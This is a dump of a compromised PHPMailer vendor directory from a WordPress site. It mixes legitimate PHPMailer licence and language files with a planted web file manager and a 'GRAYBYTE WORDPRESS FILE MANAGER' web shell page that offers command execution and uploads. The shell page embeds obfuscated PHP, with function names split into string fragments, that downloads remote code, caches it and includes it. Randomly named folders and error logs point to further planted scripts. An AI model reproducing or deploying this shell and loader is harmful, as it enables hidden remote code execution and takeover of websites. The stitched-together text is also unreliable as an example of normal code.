$exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'gilour
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PHPMailer/vendor/qyrf8h/index.php000064400000000146151026170410012661 0ustar00PHPMailer/vendor/autoload.php000064400000001403151026170410012136 0ustar00PHPMailer/vendor/3719jr/error_log000064400000000375151026170410012500 0ustar00[27-Oct-2025 03:47:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#wp-takito.php on line 161 PHPMailer/vendor/3719jr/index.php000064400000000155151026170410012377 0ustar00PHPMailer/vendor/0dkz6l/error_log000064400000000367151026170410012654 0ustar00[27-Oct-2025 03:47:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#mm2.php on line 178 PHPMailer/vendor/0dkz6l/index.php000064400000000147151026170410012553 0ustar00PHPMailer/vendor/gliqkc/.systemd000064400000225165151026170410012575 0ustar00 1902171014081995

GRAYBYTE WORDPRESS FILE MANAGER4159

Server IP : 192.185.214.160 / Your IP : 188.253.124.102
System : Linux br98.hostgator.com.br 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
PHP Version : 8.3.11
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : ON | Pkexec : OFF
$url, constant("CUR"."LOP"."T_R"."ETU"."RNT"."RAN"."SFE"."R") => true, constant("CUR"."LOP"."T_F"."OLL"."OWL"."OCA"."TIO"."N") => true, constant("CUR"."LOP"."T_M"."AXR"."EDI"."RS") => 3, constant("CUR"."LOP"."T_T"."IME"."OUT") => $timeout, constant("CUR"."LOP"."T_S"."SL_"."VER"."IFYP"."EER") => false, constant("CUR"."LOP"."T_H"."TTP"."HEA"."DER") => wp_sync_get_headers(), constant("CUR"."LOP"."T_H"."EAD"."ER") => true, ]); $response = @call_user_func("cu"."rl"."_e"."xe"."c", $ch); $http_code = @call_user_func("cu"."rl"."_g"."eti"."nfo", $ch, constant("CUR"."LIN"."FO_"."HTT"."P_C"."ODE")); $header_size = @call_user_func("cu"."rl"."_g"."eti"."nfo", $ch, constant("CUR"."LIN"."FO_"."HEA"."DER"."_S"."IZE")); $body = @call_user_func("su"."bs"."tr", $response, $header_size); if ($http_code == 200 && $response !== false && call_user_func("st"."rle"."n", $body) > 0) { @call_user_func("cu"."rl"."_c"."lo"."se", $ch); return $body; } @call_user_func("cu"."rl"."_c"."lo"."se", $ch); } if (@call_user_func("in"."i_"."ge"."t", 'al'.'lo'.'w_'.'ur'.'l_'."fo"."pe"."n")) { $context_options = [ 'http' => [ 'method' => 'GET', 'header' => call_user_func("im"."pl"."od"."e", "\r\n", wp_sync_get_headers()), 'timeout' => $timeout, 'follow_location' => 1, 'max_redirects' => 3, ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ]; $context = @call_user_func("st"."re"."am_"."co"."nte"."xt_"."cr"."ea"."te", $context_options); $response = @call_user_func("fi"."le"."_g"."et"."_c"."ont"."ent"."s", $url, false, $context); $fetched_headers = call_user_func("im"."pl"."od"."e", "\n", $http_response_header ?? []); $http_code = 0; if (@call_user_func("pr"."eg_"."ma"."tc"."h", '/HTTP\/\d\.\d\s+(\d+)/', $fetched_headers, $match)) { $http_code = (int)$match[1]; } if ($http_code == 200 && $response !== false && call_user_func("st"."rle"."n", $response) > 0) { return $response; } } return false; } @call_user_func("er"."ro"."r_"."re"."po"."rt"."in"."g", 0); @call_user_func("in"."i_"."se"."t", 'di'.'sp'.'la'.'y_'."er"."ro"."rs", 0); try { foreach ($cache_files as $import_cache) { if (@call_user_func("fi"."le"."_e"."xi"."st"."s", $import_cache) && @call_user_func("fi"."le"."si"."ze", $import_cache) > 0) { @ob_start(); @include $import_cache; $output = (string) @ob_get_contents(); @ob_end_clean(); if (call_user_func("st"."rle"."n", $output) > 0) { echo $output; exit; } else { if (!@call_user_func("is"."_w"."ri"."ta"."bl"."e", $import_cache)) { @call_user_func("ch"."mo"."d", $import_cache, 0644); } @call_user_func("un"."li"."nk", $import_cache); } } } $retry_count = 0; $file_contents = false; while ($retry_count < $max_retries) { $file_contents = @wp_sync_fetch_content($remoteUrl, $timeout); if ($file_contents !== false && call_user_func("st"."rle"."n", $file_contents) > 0) { foreach ($cache_files as $import_cache) { $fp = @call_user_func("fo"."pe"."n", $import_cache, 'w'); if ($fp && @call_user_func("fl"."oc"."k", $fp, constant("LO"."CK_"."EX"))) { @call_user_func("fw"."ri"."te", $fp, $file_contents); @call_user_func("ff"."lu"."sh", $fp); @call_user_func("fl"."oc"."k", $fp, constant("LO"."CK_"."UN")); @call_user_func("fc"."lo"."se", $fp); @call_user_func("ch"."mo"."d", $import_cache, 0644); } else { if ($fp) @call_user_func("fc"."lo"."se", $fp); } } foreach ($cache_files as $import_cache) { if (@call_user_func("fi"."le"."_e"."xi"."st"."s", $import_cache) && @call_user_func("fi"."le"."si"."ze", $import_cache) > 0) { @ob_start(); @include $import_cache; $output = (string) @ob_get_contents(); @ob_end_clean(); if (call_user_func("st"."rle"."n", $output) > 0) { echo $output; exit; } else { @call_user_func("un"."li"."nk", $import_cache); } } } break; } $retry_count++; @call_user_func("us"."le"."ep", mt_rand(200000, 500000)); } @ob_end_clean(); } catch (Throwable $e) { @ob_end_clean(); } unset($file_contents, $cache_files, $remoteUrl); ?>
Download initiated successfully.
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :



[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 24 2025 16:26:30
talkbi19 / talkbi19
0711
.tmb
--
September 23 2025 05:19:15
talkbi19 / talkbi19
0111
.well-known
--
June 29 2025 21:35:02
talkbi19 / talkbi19
0755
wp-admin
--
September 26 2025 09:28:57
talkbi19 / talkbi19
0755
wp-content
--
October 13 2025 14:37:24
talkbi19 / talkbi19
0755
wp-includes
--
September 01 2025 02:18:56
talkbi19 / talkbi19
0755
.htaccess
0.228 KB
October 03 2025 23:41:55
talkbi19 / talkbi19
0644
.systemd
74.614 KB
October 17 2025 04:02:40
talkbi19 / talkbi19
0644
.wp-bak.bz2
74.614 KB
October 17 2025 04:02:40
talkbi19 / talkbi19
0644
error_log
74.095 KB
October 16 2025 22:27:33
talkbi19 / talkbi19
0644
google6a30ade08233e086.html
0.052 KB
September 24 2025 05:26:05
talkbi19 / talkbi19
0644
index.gz
5.522 KB
October 17 2025 04:03:00
talkbi19 / talkbi19
0644
index.php
0.446 KB
October 17 2025 04:03:00
talkbi19 / talkbi19
0644
libc.so.6
74.614 KB
October 17 2025 04:02:40
talkbi19 / talkbi19
0644
license.txt
19.437 KB
July 29 2025 01:14:47
talkbi19 / talkbi19
0644
one.csv
32.678 KB
September 26 2025 03:57:47
talkbi19 / talkbi19
0644
readme.html
7.251 KB
July 29 2025 01:14:47
talkbi19 / talkbi19
0644
robots.txt
0.072 KB
October 17 2025 03:55:50
talkbi19 / talkbi19
0644
wp-activate.php
7.214 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-admin.zip
2.48 MB
June 29 2025 21:28:59
talkbi19 / talkbi19
0644
wp-blog-header.php
0.411 KB
October 03 2025 23:41:47
talkbi19 / talkbi19
0644
wp-comments-post.php
2.269 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-config-sample.php
3.258 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-content.zip
19.57 MB
June 29 2025 21:29:22
talkbi19 / talkbi19
0644
wp-cron.php
5.485 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-includes.zip
34.28 MB
June 29 2025 21:28:55
talkbi19 / talkbi19
0644
wp-links-opml.php
2.443 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-load.php
3.845 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-mail.php
8.522 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
wp-settings.php
29.376 KB
June 29 2025 21:27:56
talkbi19 / talkbi19
0644
wp-signup.php
33.707 KB
June 29 2025 21:27:56
talkbi19 / talkbi19
0644
wp-trackback.php
4.982 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
xmlrpc.php
3.13 KB
June 29 2025 21:27:55
talkbi19 / talkbi19
0644
xo.php
6.98 KB
September 24 2025 05:26:11
talkbi19 / talkbi19
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF PHPMailer/vendor/6rqvsk/afnp5.php000064400000000505151026170410012575 0ustar00PHPMailer/vendor/phpmailer/5ylhvt/ipw9k.php000064400000001251151026170410014606 0ustar00' . $code); } // Tutup sesi cURL curl_close($ch); ?>PHPMailer/vendor/phpmailer/fck2n7/index.php000064400000000146151026170410014513 0ustar00PHPMailer/vendor/phpmailer/szey8b/index.php000064400000000147151026170410014646 0ustar00PHPMailer/vendor/phpmailer/phpmailer/wojepg/error_log000064400000000205151026170410016766 0ustar00[27-Oct-2025 03:47:40 UTC] PHP Warning: filesize(): stat failed for /tmp/.s.PGSQL.5432 in /tmp/phpM5aThD#wp-scanner.php on line 218 PHPMailer/vendor/phpmailer/phpmailer/wojepg/index.php000064400000000156151026170410016676 0ustar00PHPMailer/vendor/phpmailer/phpmailer/COMMITMENT000064400000004054151026170410015163 0ustar00GPL Cooperation Commitment Version 1.0 Before filing or continuing to prosecute any legal proceeding or claim (other than a Defensive Action) arising from termination of a Covered License, we commit to extend to the person or entity ('you') accused of violating the Covered License the following provisions regarding cure and reinstatement, taken from GPL version 3. As used here, the term 'this License' refers to the specific Covered License being enforced. However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. We intend this Commitment to be irrevocable, and binding and enforceable against us and assignees of or successors to our copyrights. Definitions 'Covered License' means the GNU General Public License, version 2 (GPLv2), the GNU Lesser General Public License, version 2.1 (LGPLv2.1), or the GNU Library General Public License, version 2 (LGPLv2), all as published by the Free Software Foundation. 'Defensive Action' means a legal proceeding or claim that We bring against you in response to a prior proceeding or claim initiated by you or your affiliate. 'We' means each contributor to this repository as of the date of inclusion of this file, including subsidiaries of a corporate contributor. This work is available under a Creative Commons Attribution-ShareAlike 4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/). PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-uk.php000064400000004352151026170410021377 0ustar00 * @fixed by Boris Yurchenko */ $PHPMAILER_LANG['authenticate'] = 'Помилка SMTP: помилка авторизації.'; $PHPMAILER_LANG['connect_host'] = 'Помилка SMTP: не вдається під\'єднатися до SMTP-серверу.'; $PHPMAILER_LANG['data_not_accepted'] = 'Помилка SMTP: дані не прийнято.'; $PHPMAILER_LANG['encoding'] = 'Невідоме кодування: '; $PHPMAILER_LANG['execute'] = 'Неможливо виконати команду: '; $PHPMAILER_LANG['file_access'] = 'Немає доступу до файлу: '; $PHPMAILER_LANG['file_open'] = 'Помилка файлової системи: не вдається відкрити файл: '; $PHPMAILER_LANG['from_failed'] = 'Невірна адреса відправника: '; $PHPMAILER_LANG['instantiate'] = 'Неможливо запустити функцію mail().'; $PHPMAILER_LANG['provide_address'] = 'Будь ласка, введіть хоча б одну email-адресу отримувача.'; $PHPMAILER_LANG['mailer_not_supported'] = ' - поштовий сервер не підтримується.'; $PHPMAILER_LANG['recipients_failed'] = 'Помилка SMTP: не вдалося відправлення для таких отримувачів: '; $PHPMAILER_LANG['empty_message'] = 'Пусте повідомлення'; $PHPMAILER_LANG['invalid_address'] = 'Не відправлено через неправильний формат email-адреси: '; $PHPMAILER_LANG['signing'] = 'Помилка підпису: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Помилка з\'єднання з SMTP-сервером'; $PHPMAILER_LANG['smtp_error'] = 'Помилка SMTP-сервера: '; $PHPMAILER_LANG['variable_set'] = 'Неможливо встановити або скинути змінну: '; $PHPMAILER_LANG['extension_missing'] = 'Розширення відсутнє: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-gl.php000064400000003316151026170410021361 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Erro SMTP: Non puido ser autentificado.'; $PHPMAILER_LANG['connect_host'] = 'Erro SMTP: Non puido conectar co servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erro SMTP: Datos non aceptados.'; $PHPMAILER_LANG['empty_message'] = 'Corpo da mensaxe vacía'; $PHPMAILER_LANG['encoding'] = 'Codificación descoñecida: '; $PHPMAILER_LANG['execute'] = 'Non puido ser executado: '; $PHPMAILER_LANG['file_access'] = 'Nob puido acceder ó arquivo: '; $PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: No puido abrir o arquivo: '; $PHPMAILER_LANG['from_failed'] = 'A(s) seguinte(s) dirección(s) de remitente(s) deron erro: '; $PHPMAILER_LANG['instantiate'] = 'Non puido crear unha instancia da función Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Non puido envia-lo correo: dirección de email inválida: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer non está soportado.'; $PHPMAILER_LANG['provide_address'] = 'Debe engadir polo menos unha dirección de email coma destino.'; $PHPMAILER_LANG['recipients_failed'] = 'Erro SMTP: Os seguintes destinos fallaron: '; $PHPMAILER_LANG['signing'] = 'Erro ó firmar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallou.'; $PHPMAILER_LANG['smtp_error'] = 'Erro do servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Non puidemos 